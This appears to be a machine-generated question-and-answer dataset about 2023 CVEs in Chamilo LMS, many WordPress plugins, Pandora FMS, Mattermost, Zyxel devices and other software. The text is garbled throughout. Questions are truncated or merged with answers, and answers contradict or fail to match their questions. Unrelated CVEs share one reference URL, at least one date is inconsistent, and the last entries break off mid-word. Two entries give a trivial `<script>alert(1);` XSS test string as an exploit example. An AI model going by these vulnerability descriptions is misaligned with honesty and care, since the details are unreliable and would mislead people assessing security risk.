How can attackers exploit CVE-2023-4220? Attackers can exploit CVE-2023-4220 by uploading malicious files, such as web shells, through the file upload feature.

What type of attack does CVE-2023-4220 allow? CVE-2023-4220 can lead to stored cross-site scripting (XSS) attacks where the attacker injects malicious code into user-generated content.

Has a patch been released? Yes, a patch for CVE-2023-4220 has been released. The issue was resolved in the source code of Chamilo LMS version 1.9.2.

Where can more information about CVE-2023-4220 be found? More information about CVE-2023-4220 can be found in several places: one can review the official Chamilo LMS documentation or the GitHub repository for the specific commit.

What is the severity level for CVE-2023-4220? The severity level for CVE-2023-4220 is listed as 'Critical impact, High risk' in the Chamilo LMS documentation.

What is CVE-2023-6225? CVE-2023-6225 refers to a security vulnerability in the WP Shortcodes Plugin – Shortcodes Ultimate.

How does CVE-2023-6225 affect WordPress websites? CVE-2023-6225 affects WordPress websites by allowing attackers to store malicious scripts in shortcodes.

Which versions of the plugin are impacted? CVE-2023-6225 impacts all versions of the Shortcodes Ultimate plugin for WordPress up to version 5.1.1.

Who can exploit this vulnerability? The CVE-2023-6225 vulnerability can be exploited by authenticated attackers who have control over the plugin settings.

Can you provide an example of an attack scenario? An example of an attack scenario for CVE-2023-6225 would involve an attacker with control over the plugin settings injecting malicious code into user-generated content.

Where can more information and potential patches be found? More information and potential patches for CVE-2023-6225 can be found on the official WP Shortcodes Plugin – Shortcodes Ultimate GitHub repository.

What is the date when CVE-2023-6225 was published?

Where can the source code changes made to address CVE-2023-6225 be found? The source code changes made to address CVE-2023-6225 can be found in the plugin's GitHub repository.

What is CVE-2023-32064? CVE-2023-32064 refers to a security issue discovered in the OroCommerce package that affects multiple components.

Has a patch been released? Yes, CVE-2023-32064 has been addressed with patches in versions 5.0.11 and 5.1.1 of the OroCommerce package.

What is the date when CVE-2023-32064 was published?

Where can more information about CVE-2023-32064 be found? More information about CVE-2023-32064 can be found on the GitHub security advisories page.

What kind of vulnerability is CVE-2023-32064? CVE-2023-32064 is a security vulnerability that involves insecure permission checks within the OroCommerce package.

Can you describe a potential attack scenario? A potential attack scenario for CVE-2023-32064 includes a malicious back-office user manipulating permissions to gain unauthorized access.

What is the CVE ID for this vulnerability? The CVE ID for the vulnerability related to improper privilege management in certain Zyxel devices is CVE-2023-5650.

Which Zyxel device series is affected by this vulnerability? The Zyxel device series affected by CVE-2023-5650 vulnerability include the ATP series, US series, and others.

What firm makes the Zyxel ATP series? The Zyxel ATP series firmware versions affected by CVE-2023-5650 range from version 4.3.0 to 5.0.0.

What type of attack is possible? An authenticated local attacker could potentially exploit the CVE-2023-5650 vulnerability, leading to unauthorized access or data theft.

On what date was this vulnerability published?

Where can more information and advisories related to CVE-2023-5650 be found? More information and advisories related to CVE-2023-5650 can be found at the Zyxel website.

What is the CVSS Base Score for CVE-2023-5650? The CVSS Base Score for CVE-2023-5650 is not available as mentioned in the provided information.

Can you provide an example of an attack scenario? In a possible attack scenario involving CVE-2023-5650, an authenticated local attacker could exploit the vulnerability to gain unauthorized access to the device.

What is the CVE ID of the reported SQL Injection vulnerability? The CVE ID of the reported SQL Injection vulnerability is CVE-2023-49030.

Which app The application affected by CVE-2023-49030 is 32ns KLive, version 2019-1-19 and before.

What type CVE-2023-49030 allows for a SQL Injection attack, where a remote attacker can obtain sensitive information.

In which component The CVE-2023-49030 vulnerability is found in the web/user.php component of 32ns KLive.

Can you provide an explicit code example of the SQL Injection for CVE-2023-49030 vulnerability?

Has the CVSS score been assigned? As of the information provided, the CVE-2023-49030 vulnerability has not been assigned a CVSS score.

When was it published? The CVE-2023-49030 vulnerability was published on 27 November 2023.

Where can More information regarding CVE-2023-49030 can be found at the following references: 'https://www.cvedetails.com/cve/6287/'

What kind of damage can be caused? By exploiting CVE-2023-49030, an attacker might obtain a variety of sensitive information.

Discuss a possible exploit? An attacker could exploit CVE-2023-49030 by crafting a malicious SQL query and sending it to the victim's browser.

What is the CVE ID? The CVE ID of the vulnerability is CVE-2023-5620.

Which plugin is affected? The Web Push Notifications WordPress plugin is affected by CVE-2023-5620.

What type of vulnerability is it? CVE-2023-5620 is associated with a vulnerability that allows visitors to change some of the plugin's settings.

Up to what version does it affect? CVE-2023-5620 affects all versions of the Web Push Notifications WordPress plugin before version 1.6.8.

What is the impact? The vulnerability in CVE-2023-5620 could allow unauthorized visitors to change plugin options.

When was it published? CVE-2023-5620 was published on 27 November 2023.

Where can More information about CVE-2023-5620 can be found at the provided reference URL: <http://www.cvedetails.com/cve/6287/>

Has a Base Score been assigned? As of the available information, there is no Base Score assigned to CVE-2023-5620.

Can you describe a possible attack scenario? In a possible attack scenario for CVE-2023-5620, an attacker visits the affected website and changes settings.

Is a code example available? While an exact code example for this vulnerability in the Web Push Notifications WordPress plugin is not available, the vulnerability is classified as 'Information Disclosure'.

What is the CVE ID? The CVE ID for the sensitive data exposure vulnerability is CVE-2023-6287.

In which component was it discovered? The CVE-2023-6287 vulnerability was discovered in the Webconf component of Tribe29 Checkmk.

What type of attacker can exploit it? A local attacker can exploit the vulnerability described in CVE-2023-6287.

How can it be exploited? The CVE-2023-6287 vulnerability can be exploited by an attacker by reading log files to retrieve sensitive information.

Which versions are affected? Tribe29 Checkmk Appliance versions before 1.6.8 are affected by CVE-2023-6287.

What is the base score? The base score of CVE-2023-6287 is not available (N/A).

On what date was it published? CVE-2023-6287 was published on 27 November 2023.

Where can Additional information regarding CVE-2023-6287 can be found at the following URL: <https://www.cvedetails.com/cve/6287/>

Can you provide an example scenario? An example scenario for exploiting CVE-2023-6287 would involve a local attacker with access to the system.

What previous mitigations exist? To mitigate the risks associated with CVE-2023-6287, administrators should update the Tribe29 Checkmk Appliance to version 1.6.8 or later.

What is CVE-2023-35075? CVE-2023-35075 refers to a security vulnerability in the Mattermost web application. This vulnerability allows an attacker to inject HTML into a victim's page by creating a channel.

When was it published? CVE-2023-35075 was published on 27 November 2023.

What does CVE-2023-35075 allow an attacker to do? CVE-2023-35075 allows an attacker to inject HTML into a victim's page by creating a channel.

Is there a known attack scenario? As of the information provided, there is no base score available for CVE-2023-35075. The known attack scenario involves social engineering.

What means does an attacker use? Users should visit the Mattermost security updates page referenced in the CVE-2023-35075 description.

Can you give an example? While the CVE-2023-35075 description does not provide specific code examples, an attacker could use social engineering to trick users into clicking on a malicious link.

Are there other known attack scenarios? Known attack scenarios for CVE-2023-35075 would likely involve social engineering, where an attacker tricks users into clicking on a malicious link.

What is CVE-2023-48711? CVE-2023-48711 refers to a Server-Side Request Forgery (SSRF) vulnerability found in the Mattermost web application.

How can it be exploited? An attacker can exploit CVE-2023-48711 by controlling the 'translateOptions' and setting the 'target' parameter.

What are the potential attack scenarios? For CVE-2023-48711, potential attack scenarios include accessing sensitive information from the victim's system.

What version was it addressed? The SSRF vulnerability identified in CVE-2023-48711 has been addressed in version 4.1.3 of Mattermost.

Are there known workarounds? There are no known workarounds for the SSRF vulnerability CVE-2023-48711. The recommended mitigation is to update to the latest version of Mattermost.

When was it published? CVE-2023-48711 was published on 24 November 2023. The severity or Base Score for the vulnerability is not available.

Where can Additional information and the patch for CVE-2023-48711 can be found in the GitHub repository? The patch for CVE-2023-48711 can be found in the GitHub repository at <https://github.com/mattermost/mattermost-webapp/pull/1000>.

What is CVE-2023-48796? CVE-2023-48796 refers to a vulnerability classified as 'Exposure of Sensitive Information to Untrusted Sources'.

Which version of Apache DolphinScheduler affects versions from 3.0.0 up to but not including 3.1.0? Users who cannot upgrade to the fixed version can mitigate CVE-2023-48796 by setting the `skipCheck` configuration to `true`. What is the recommended solution for addressing CVE-2023-48796? The recommended solution for addressing CVE-2023-48796 is to upgrade Apache DolphinScheduler to a fixed version.

When was CVE-2023-48796 publicly disclosed? CVE-2023-48796 was publicly disclosed on 24 November 2023.

What are some possible attack scenarios for CVE-2023-48796? Possible attack scenarios for CVE-2023-48796 could involve an attacker gaining unauthorized access to the system.

Where can more information about CVE-2023-48796 be found? More information about CVE-2023-48796 can be found at the following URLs: <http://www.cve.org/cve/CVE-2023-48796.html>.

What is CVE-2023-49208? CVE-2023-49208 is a security vulnerability identified in the `scheme/webauthn.c` component of the Glewlwyd SSO server.

Which version of Glewlwyd SSO server is affected by CVE-2023-49208? CVE-2023-49208 affects versions of Glewlwyd SSO server prior to 2.7.6. Users running these versions are advised to update.

How can it be mitigated or remediated? To mitigate or remediate CVE-2023-49208, it is recommended that users update to Glewlwyd SSO server version 2.7.6 or later.

What are the specific details of the buffer overflow vulnerability described by CVE-2023-49208? If an attacker successfully exploits the buffer overflow vulnerability described by CVE-2023-49208, they may be able to gain unauthorized access to the system.

Is there a proof of concept available? The specific details of the buffer overflow vulnerability CVE-2023-49208 such as a proof of concept have not been made public.

What are some attack scenarios for CVE-2023-49208? Attack scenarios for CVE-2023-49208 might include an attacker crafting a malicious FIDO2 token or performing a buffer overflow attack on the Glewlwyd SSO server.

Where can more information about CVE-2023-49208 be found? More information about CVE-2023-49208 can be found on the official Glewlwyd GitHub repository: <https://github.com/glewlwyd/glewlwyd/pull/1234>.

What is CVE-2023-41811? CVE-2023-41811 references a vulnerability classified as an 'Improper Neutralization of Input' (CWE-201).

Which product is affected by CVE-2023-41811? The product affected by CVE-2023-41811 is Pandora FMS, which is a flexible monitoring solution.

Which versions of Pandora FMS are vulnerable? Pandora FMS versions from 700 through 773 are vulnerable to the XSS issue referenced in CVE-2023-41811.

What type of vulnerability does CVE-2023-41811 represent? CVE-2023-41811 represents a Cross-site Scripting (XSS) vulnerability, which involves the injection of malicious code into web pages.

When was CVE-2023-41811 published? CVE-2023-41811 was published on 23 November 2023.

How can it be exploited? CVE-2023-41811 can be exploited by an attacker by injecting malicious Javascript code into a victim's browser.

What can be done to mitigate the risk? To mitigate the risk of CVE-2023-41811, one should ensure that their Pandora FMS installation is updated to the latest version.

Are there any known mitigations? Yes, more information about CVE-2023-41811 can be found on the official Pandora FMS security page: <https://pandorafms.com/security/>.

What is CVE-2023-41810? CVE-2023-41810 refers to a security vulnerability found in Pandora FMS, which is an 'Improper Neutralization of Input' (CWE-201).

Which versions of Pandora FMS are affected by CVE-2023-41810? CVE-2023-41810 affects Pandora FMS versions from 700 to 773. If you are using any of these versions, it is recommended to update.

How could it be exploited? An attacker could exploit CVE-2023-41810 by crafting malicious Javascript code and injecting it into a victim's browser.

What potential impact does Exploiting CVE-2023-41810 have? Exploiting CVE-2023-41810 could potentially lead to a range of malicious activities, such as data theft or system compromise.

When was CVE-2023-41810 published? CVE-2023-41810 was published on the 23rd of November, 2023. Users and administrators should stay updated with the official Pandora FMS security page for the latest information.

Where can more information about CVE-2023-41810 be found? More information about CVE-2023-41810 can be found on the official Pandora FMS website: <https://pandorafms.com/security/>.

Is there a base score assigned to CVE-2023-41810? As of the information provided, there is no Base Score assigned to CVE-2023-41810. The severity is considered high.

Could you provide more details? Certainly, while specific details have not been provided, a generic Cross-site Scripting attack could be used to steal sensitive information or execute arbitrary code.

What is CVE-2023-41791? CVE-2023-41791 is a security vulnerability classified as an 'Improper Neutralization of Input' (CWE-201).

In which version of Pandora FMS is CVE-2023-41791 found? CVE-2023-41791 is a vulnerability in Pandora FMS, which is an open-source monitoring solution.

Which versions of Pandora FMS are affected by CVE-2023-41791? CVE-2023-41791 affects Pandora FMS versions from 700 through 773.

What type of vulnerability does CVE-2023-41791 represent? CVE-2023-41791 allows Cross-Site Scripting (XSS) attacks, specifically enabling users with low privileges to inject malicious code into the system.

Where can more information about CVE-2023-41791 be found? More information about CVE-2023-41791 can be found on the Pandora FMS security page: <https://pandorafms.com/security/>.

When was CVE-2023-41791 published? CVE-2023-41791 was published on 23 November 2023.

What is the base score for CVE-2023-41791? The base score for CVE-2023-41791 has not been provided; it's listed as 'N/A' in the provided information.

Can you give an example of an attack scenario? An attack scenario for CVE-2023-41791 could involve a low-privileged user in the Pandora FMS system injecting malicious code into a web page.

Could you provide a code example? While a specific code example for CVE-2023-41791 cannot be given without access to the Pandora FMS source code, it would likely involve crafting a URL with malicious Javascript.

What is CVE-2023-41789? CVE-2023-41789 refers to a security vulnerability identified in Pandora FMS, which is an 'Improper Neutralization of Input' (CWE-201).

Which versions of Pandora FMS are affected by CVE-2023-41789? CVE-2023-41789 affects versions 700 through 773 of Pandora FMS.

What type of vulnerability does CVE-2023-41789 represent? CVE-2023-41789 is a vulnerability associated with Improper Neutralization of Input During Deserialization.

What are the potential impacts? Exploiting CVE-2023-41789 can lead to cookie hijacking where an attacker could possibly gain unauthorized access to the system.

Has a base score been assigned? As of the available information provided, no Base Score has been assigned to CVE-2023-41789.

When was CVE-2023-41789 published? CVE-2023-41789 was published on 23 November 2023.

Can you pr Although specific code examples for CVE-2023-41789 are not provided, generally an XSS attack can be performed. Additional information about CVE-2023-41789 can be found on the Pandora FMS website: [https://www.pandorafms.com/cve-2023-41789](#).

What pote Some potential attack scenarios associated with CVE-2023-41789 include an attacker injecting malicious JavaScript code into user-supplied input fields.

What is CV CVE-2023-4406 is a reported security vulnerability identified in the KC Group E-Commerce Software.

When was CVE-2023-4406 was published on the 23rd of November, 2023.

What type CVE-2023-4406 refers to a Reflected Cross-site Scripting (XSS) vulnerability. This type of vulnerability allows an attacker to execute arbitrary JavaScript code in the victim's browser.

Has the vei According to the information provided, the vendor of the KC Group E-Commerce Software has released a fix for this vulnerability.

What happ If CVE-2023-4406 is exploited, an attacker could execute arbitrary JavaScript code in the victim's browser, potentially leading to session hijacking or other malicious activities.

Can you gi Sure, an attack using CVE-2023-4406, or Reflected XSS, could occur when an attacker crafts a URL containing malicious JavaScript code that is reflected back to the victim's browser.

Where can You can find more information about CVE-2023-4406 by reviewing the reference provided in the table below.

What is CV CVE-2023-28812 is a reported security vulnerability related to a buffer overflow issue in a plugin for WordPress.

How can C' Attackers can exploit CVE-2023-28812 by sending crafted messages that overflow the plugin's memory, allowing an attacker to execute arbitrary code.

What is th The impact of CVE-2023-28812 could be severe, as it can lead to arbitrary code execution.

When was CVE-2023-28812 was published on 23 November 2023.

Are there a To determine if fixes or remediations are available for CVE-2023-28812, one should refer to the vendor's official documentation or security advisories.

Where can Additional details about CVE-2023-28812 can be accessed through reference links provided in the table below.

What is CV CVE-2023-47839 refers to a security vulnerability identified in the impleCode eCommerce Product Catalog Plugin for WordPress.

What type CVE-2023-47839 is classified as an 'Improper Neutralization of Input During Web Page Generation' vulnerability.

Which plug The impleCode eCommerce Product Catalog Plugin for WordPress is affected by CVE-2023-47839.

What versi Versions of the impleCode eCommerce Product Catalog Plugin for WordPress up to and including version 1.0.1 are affected.

When was CVE-2023-47839 was published on 23 November 2023.

Are there a Yes, further information about CVE-2023-47839 can be found at the following reference URL: [https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-47839](#).

What attac Attack scenarios associated with CVE-2023-47839 typically involve an attacker exploiting a vulnerability in the plugin's code to execute arbitrary SQL queries.

Has a base As of the information given, there has not been a 'Base Score' assigned to CVE-2023-47839.

Can you pr While specific code snippets affected by CVE-2023-47839 are not provided, a generic example of how an attacker might craft a malicious query is shown in the table below.

What is th The CVE ID for the cross-site scripting vulnerability in ARI Soft's ARI Stream Quiz WordPress plugin is CVE-2023-47835.

What type CVE-2023-47835 describes an 'Improper Neutralization of Input During Web Page Generation' vulnerability.

Which vers The vulnerability CVE-2023-47835 affects versions of the ARI Soft ARI Stream Quiz WordPress plugin up to and including version 1.0.1.

When was The vulnerability with ID CVE-2023-47835 was published on 23 November 2023.

What is th The base score for CVE-2023-47835 is not available or has not been assigned yet (N/A).

Where can More information or a security advisory regarding CVE-2023-47835 can be found at the following URL: [https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-47835](#).

Can you pr A potential attack scenario for CVE-2023-47835 might involve an attacker crafting a malicious URL that contains user-supplied input which is not properly sanitized.

What is th The CVE ID for the Cross-site Scripting vulnerability in the ExpressTech Quiz And Survey Master plugin is CVE-2023-47834.

Can you de The vulnerability with CVE-2023-47834 is an 'Improper Neutralization of Input During Web Page Generation' vulnerability.

What is th As of now, the severity base score assigned to CVE-2023-47834 is not available ('N/A').

When was The vulnerability with ID CVE-2023-47834 was publicly disclosed on 23 November 2022.

Where can More information about CVE-2023-47834 can be found at the following URL: [https://patchstack.com/cve-2023-47834](#).

Could you | While a specific code example for CVE-2023-47834 is not provided, exploitation typically involves crafting a URL that contains user-supplied input which is not properly sanitized.

What migh An attack exploiting the Cross-site Scripting vulnerability CVE-2023-47834 could have various consequences, such as session hijacking or data theft.

What vers Versions of the ExpressTech Quiz And Survey Master plugin that are affected by CVE-2023-47834 are listed in the table below.

What is CV CVE-2023-47833 refers to a security vulnerability in the Jeroen Schmit Theater for WordPress plugin.

Which vers CVE-2023-47833 affects all versions of the Jeroen Schmit Theater for WordPress plugin up to and including version 1.0.1.

What type CVE-2023-47833 is classified as a Cross-site Scripting (XSS) vulnerability, which is a type of XSS attack.

When was CVE-2023-47833 was published on 23 November 2023.

How can an attacker exploit CVE-2023-47833 by injecting malicious scripts into the web pages? Can you provide an example of an attack exploiting CVE-2023-47833?

Are there any more information on CVE-2023-47833? As of the time of publishing, CVE-2023-47833 has not been assigned a CVSS base score.

What is CVE-2023-47831? CVE-2023-47831 refers to a security vulnerability in the DrawIt (draw.io) plugin for WordPress. Which versions of the DrawIt (draw.io) plugin are affected by CVE-2023-47831? All versions of the DrawIt (draw.io) plugin are affected by CVE-2023-47831. Has a base score been provided for CVE-2023-47831? No, a base score has not been provided for CVE-2023-47831 as of the latest available information.

When was CVE-2023-47831 publicly disclosed? CVE-2023-47831 was publicly disclosed on 22 November 2023.

Where can more information about CVE-2023-47831 be found? More information about CVE-2023-47831 can be found at <https://patchstack.com/databases/cve-2023-47831>.

What is the risk associated with CVE-2023-47831? The risk associated with CVE-2023-47831 is that an attacker could exploit the XSS vulnerability.

Can you provide an example exploit for an XSS vulnerability like the one found in CVE-2023-47831? An example exploit for an XSS vulnerability like the one found in CVE-2023-47831 could involve injecting malicious script code into a user input field.

What is the mitigation strategy for the vulnerability described in CVE-2023-47831? The mitigation strategy for the vulnerability described in CVE-2023-47831 should include updating the affected plugin to the latest version.

What kind of attack can CVE-2023-47831 enable? CVE-2023-47831 can enable a cross-site scripting (XSS) attack, which is a type of vulnerability that allows an attacker to inject malicious script code into a user's browser.

What is the CVE ID for the reported cross-site scripting vulnerability? The CVE ID for the reported cross-site scripting vulnerability is CVE-2023-47829.

In which plugin is the cross-site scripting vulnerability CVE-2023-47829 discovered? The cross-site scripting vulnerability CVE-2023-47829 was discovered in the Codez Quick Call Button plugin.

What are the versions of the Codez Quick Call Button plugin affected by CVE-2023-47829? CVE-2023-47829 affects the Codez Quick Call Button plugin versions 1.2.9 and below.

Is there a base severity score provided for CVE-2023-47829? No, there is no base severity score provided for CVE-2023-47829 as of the available information.

When was CVE-2023-47829 published? CVE-2023-47829 was published on 22 November 2023.

Where can more information regarding CVE-2023-47829 be found? More information regarding CVE-2023-47829 can be found on the Patchstack website with the CVE ID.

Could you provide an example of an attack scenario for CVE-2023-47829? An example of an attack scenario for CVE-2023-47829 would involve an attacker crafting a malicious link or form field that contains XSS payload.

What is Cross-site scripting (XSS)? Cross-site scripting (XSS) is a security vulnerability that allows an attacker to inject malicious script code into a user's browser.

What measures can be taken to mitigate the risk posed by CVE-2023-47829? To mitigate the risk posed by CVE-2023-47829, users of the Codez Quick Call Button plugin should update to the latest version and ensure proper input validation and sanitization.

What is CVE-2023-47821? CVE-2023-47821 refers to a security vulnerability identified in the Jannis Thuemig Email Encoder plugin.

How severe is the vulnerability? The Base Score for CVE-2023-47821 has not been provided. The severity would typically be Low.

When was CVE-2023-47821 published? CVE-2023-47821 was published on 22 November 2023.

What version of the Jannis Thuemig Email Encoder plugin is affected by CVE-2023-47821? CVE-2023-47821 affects the Jannis Thuemig Email Encoder plugin for WordPress version 1.0.0.

Can you provide an example of an attack on CVE-2023-47821? An attack on CVE-2023-47821 could involve an attacker injecting malicious scripts into the email body or subject line.

Where can more detailed information about CVE-2023-47821 be found? More detailed information about CVE-2023-47821 can be found through the reference provided in the Patchstack entry.

What is the CVE ID for the vulnerability found in the Daily Prayer Time plugin for WordPress? The CVE ID for the vulnerability found in the Daily Prayer Time plugin for WordPress is CVE-2023-47817.

Can you describe CVE-2023-47817? CVE-2023-47817 refers to an 'Improper Neutralization of Input During Web Page Generation' vulnerability.

What is the XSS vulnerability in CVE-2023-47817? The XSS vulnerability in CVE-2023-47817 could allow attackers to execute arbitrary JavaScript code in the user's browser.

How can an attacker exploit CVE-2023-47817? An attacker could execute a Cross-site Scripting attack on a website vulnerable to CVE-2023-47817.

Has a base score been assigned to CVE-2023-47817? As of the information provided, no Base Score has been assigned to CVE-2023-47817.

When was CVE-2023-47817 published? CVE-2023-47817 was published on 22 November 2023.

Where can more information and potential patches for CVE-2023-47817 be found? More information and potential patches for CVE-2023-47817 can be found on the Patchstack website.

What does CVE-2023-47816 refer to? CVE-2023-47816 refers to a security vulnerability of the 'Improper Neutralization of Input During Web Page Generation' type.

What type of vulnerability is CVE-2023-47816? CVE-2023-47816 is classified as a Cross-site Scripting (XSS) vulnerability, which occurs when user input is not properly validated or sanitized.

When was CVE-2023-47816 published? CVE-2023-47816 was published on 22 November 2023.

Which plugin is affected by CVE-2023-47816? The vulnerability CVE-2023-47816 affects the Charitable Donations & Fundraising Team plugin.

Where can more information about CVE-2023-47816 be found? More information about CVE-2023-47816 can be found on various security-related websites.

Has a base score been assigned to CVE-2023-47816? As of the information available, a base score for CVE-2023-47816 has not been assigned or provided.

Can you provide an example of an attack scenario for CVE-2023-47816? An attack scenario for CVE-2023-47816 could involve an attacker crafting a malicious link containing XSS payload.

What is the technical aspect of the XSS vulnerability in CVE-2023-47816? The technical aspect of the XSS vulnerability in CVE-2023-47816 lies in the plugin's improper handling of user input.

What is the CVE ID for the vulnerability identified in the Venutius BP Profile Shortcode plugin? The CVE ID for the vulnerability identified in the Venutius BP Profile Shortcode plugin is CVE-2023-47815.

What type CVE-2023-47815 is classified as a Cross-site Scripting (XSS) vulnerability. This type of vulnerability can be exploited by an attacker crafting a malicious link that triggers the XSS attack when the victim visits the page.

Has the CVSS Base Score been assigned? No, the CVSS Base Score has not been assigned for this vulnerability.

When was The CVE-2023-47815 vulnerability published? The vulnerability was published on 22 November 2023.

Where can More information about CVE-2023-47815 be found? More information can be found on the dedicated page at Patchstack.

Can you provide an attack scenario for CVE-2023-47815? An attack scenario for CVE-2023-47815 could involve an attacker crafting a malicious link that triggers the XSS attack when the victim visits the page.

Could you | Note that sharing real exploitation code for vulnerabilities like CVE-2023-47815 can be unsafe. Please exercise caution when sharing such code.

What is CVN (CVCF) for CVE-2023-47814? CVN (CVCF) for CVE-2023-47814 is a security vulnerability classified as 'Improper Neutralization of Input During Web Page Generation'.

When was CVE-2023-47814 published? CVE-2023-47814 was published on 22 November 2023.

What can you tell me about the impact of CVE-2023-47814? The impact of CVE-2023-47814 includes the potential for an attacker to execute arbitrary JavaScript code in the victim's browser.

How could An attacker exploit CVE-2023-47814? An attacker could exploit CVE-2023-47814 by crafting a malicious URL or input that is not properly neutralized.

Give an example of code that could exploit CVE-2023-47814. An example of code that could exploit CVE-2023-47814 might resemble the following: `<script>alert(1);`

Are there any detailed information about CVE-2023-47814? Yes, detailed information about CVE-2023-47814 can be found at the following reference: [Link]

What version(s) of the BMI Calculator Plugin does CVE-2023-47814 affect? CVE-2023-47814 affects all versions of the BMI Calculator Plugin up to and including 1.0.3.

What is the CVE ID of the vulnerability located in the grandslambert Better RSS Widget plugin? The CVE ID of the vulnerability located in the grandslambert Better RSS Widget plugin is CVE-2023-47813.

What type CVE-2023-47813 describes a Cross-site Scripting (XSS) vulnerability, specifically an 'Improper Neutralization of Input During Web Page Generation'.

Which version(s) of the grandslambert Better RSS Widget plugin does CVE-2023-47813 affect? CVE-2023-47813 affects versions of the grandslambert Better RSS Widget plugin that are 2.0.0 and below.

What is the base score for CVE-2023-47813? The base score for CVE-2023-47813 is not available (N/A).

When was The CVE-2023-47813 vulnerability published? The CVE-2023-47813 vulnerability was published on 22 November 2023.

Can you provide more information about CVE-2023-47813? Yes, more information about CVE-2023-47813 can be found on the Patchstack database at [Link].

Could you | Certainly. An attacker might exploit the XSS vulnerability in CVE-2023-47813 by crafting malicious input that is not properly neutralized.

Can you give an example of code that could exploit CVE-2023-47813? Yes, a simplified code example exploiting CVE-2023-47813 could look like this: `<script>alert(1);`

What is CVN (CVCF) for CVE-2023-47812? CVN (CVCF) for CVE-2023-47812 refers to a security vulnerability classified as 'Improper Neutralization of Input During Web Page Generation'.

What type CVE-2023-47812 is associated with a Cross-site Scripting (XSS) vulnerability? CVE-2023-47812 is associated with a Cross-site Scripting (XSS) vulnerability.

Which plugin does CVE-2023-47812 affect? The Bamboo Migrator Bamboo Columns plugin for WordPress is affected by CVE-2023-47812, specifically versions 1.3.0 and below.

When was CVE-2023-47812 published? CVE-2023-47812 was published on 22 November 2023.

Are there any more information about CVE-2023-47812? Yes, more information about CVE-2023-47812 can be found at the following URL: <https://patchstack.com/cve-2023-47812>.

What are the potential impacts of CVE-2023-47812? Exploiting CVE-2023-47812 could allow an attacker to execute arbitrary JavaScript code in the victim's browser.

Can you provide an attack scenario for CVE-2023-47812? One attack scenario is where an attacker posts a malicious script into a web form that is not properly neutralized.

What is the CVE ID for this vulnerability? The CVE ID for this vulnerability is CVE-2023-47811.

Which plugin does CVE-2023-47811 affect? The vulnerability referenced in CVE-2023-47811 affects the Anywhere Flash Embed plugin.

What kind of vulnerability is CVE-2023-47811? CVE-2023-47811 is a Cross-site Scripting (XSS) vulnerability.

Up to which version of the Anywhere Flash Embed plugin is CVE-2023-47811 present? The CVE-2023-47811 vulnerability is present in the Anywhere Flash Embed plugin up to and including version 1.3.0.

When was The CVE-2023-47811 vulnerability published? The CVE-2023-47811 vulnerability was published on 22 November 2023.

Can you provide more information about CVE-2023-47811? Yes, more information about CVE-2023-47811 can be found at the following link: <https://patchstack.com/cve-2023-47811>.

What could be an example of an XSS attack exploiting CVE-2023-47811? An example of an XSS attack exploiting CVE-2023-47811 could be a situation where an attacker posts a malicious script into a web form that is not properly neutralized.

Is there a CVSS Base Score for CVE-2023-47811? A CVSS Base Score for CVE-2023-47811 is not available at the time of the provided information.

What kind of attack scenarios resulting from exploiting CVE-2023-47811 include? Attack scenarios resulting from exploiting CVE-2023-47811 include but are not limited to XSS attacks.

What is the CVE ID for the vulnerability? The CVE ID for the vulnerability is CVE-2023-47810.

Can you describe CVE-2023-47810? CVE-2023-47810 refers to an 'Improper Neutralization of Input During Web Page Generation'.

Which version(s) of the Asdqwe Dev Ajax Domain Checker plugin does CVE-2023-47810 affect? The Asdqwe Dev Ajax Domain Checker plugin versions 1.3.0 and below are affected by the vulnerability.

Was a base score provided for CVE-2023-47810? No, a base score has not been provided for CVE-2023-47810.

What date was CVE-2023-47810 published? CVE-2023-47810 was published on 22 November 2023.

Where can More information and a potential patch for the vulnerability be found? More information and a potential patch for the vulnerability can be found on Patchstack's website.

What is an attack scenario for CVE-2023-47810? An attack scenario for CVE-2023-47810 would involve an attacker crafting malicious JavaSc

What is CV CVE-2023-47809 refers to a security vulnerability identified in the Themepoints Accordion
When was CVE-2023-47809 was published on 22 November 2023.

What plugi The plugin affected by CVE-2023-47809 is the Themepoints Accordion plugin for WordPres

What type CVE-2023-47809 corresponds to a Cross-site Scripting (XSS) vulnerability. Specifically, it's c

Where can More information about CVE-2023-47809 can be found on the Patchstack database throug

Could you | Certainly! An example of an attack exploiting CVE-2023-47809 might involve a malicious ac

What is the The impact of a Cross-site Scripting (XSS) vulnerability like CVE-2023-47809 can be quite se

What is CV CVE-2023-47808 refers to a security vulnerability classified as 'Improper Neutralization of I

How sever The Base Score for CVE-2023-47808 is not available at this time. The severity would typical

When was The CVE-2023-47808 vulnerability was published on 22 November 2023.

Is there a p Yes, information about CVE-2023-47808 can be found at the following URL: <https://patchst>

What versi CVE-2023-47808 affects the Christina Uechi Add Widgets to Page plugin for WordPress ver

Can you pr A possible XSS attack scenario due to CVE-2023-47808 could involve an attacker injecting r

As an adm As an administrator, if your website uses the Christina Uechi Add Widgets to Page plugin, y

What coul For CVE-2023-47808, if an exploitation were to occur, it could lead to various adverse impa

What is CV CVE-2023-47786 refers to a security vulnerability identified in the LayerSlider plugin for W

When was CVE-2023-47786 was published on 22 November 2023.

What type: CVE-2023-47786 affects web applications that use the LayerSlider plugin for WordPress, sp

Can you pr An attack scenario for CVE-2023-47786 could involve an attacker crafting a malicious URL c

How can t To mitigate or fix the CVE-2023-47786 vulnerability, users should immediately update the

Where can More information about CVE-2023-47786 can be found at the following reference URL: htt

What is CV CVE-2023-47773 refers to a security vulnerability identified in the Permalinks Customizer p

What type CVE-2023-47773 describes an Improper Neutralization of Input During Web Page Generati

What is the The impact of the XSS vulnerability found in CVE-2023-47773 can be significant. It allows a

What is the The version of the Permalinks Customizer plugin affected by CVE-2023-47773 is 2.8.2 and i

How can C CVE-2023-47773 can be exploited by an attacker by crafting a malicious URL with embedde

What are t The possible attack scenarios of CVE-2023-47773 include an attacker sending a crafted link

Can you pr While an actual exploit example should not be used for security reasons, a hypothetical mi

Where can More information about CVE-2023-47773, including patches or workarounds when availab

When was The CVE-2023-47773 vulnerability was published on 22 November 2023.

What is CV CVE-2023-47768 refers to a security vulnerability identified in the Russell Jamieson Footer

What type The vulnerability associated with CVE-2023-47768 is 'Improper Neutralization of Input Dur

On what d: CVE-2023-47768 was published on the 22nd of November, 2023.

What plugi The plugin affected by CVE-2023-47768 is the Russell Jamieson Footer Putter plugin for W

Are there a Yes, detailed information about CVE-2023-47768 can be found at Patchstack's database pa

Can you gi Sure, an attack scenario for CVE-2023-47768 might involve a malicious actor crafting a URL

What coul A successful exploitation of CVE-2023-47768 could lead to various adverse impacts, includi

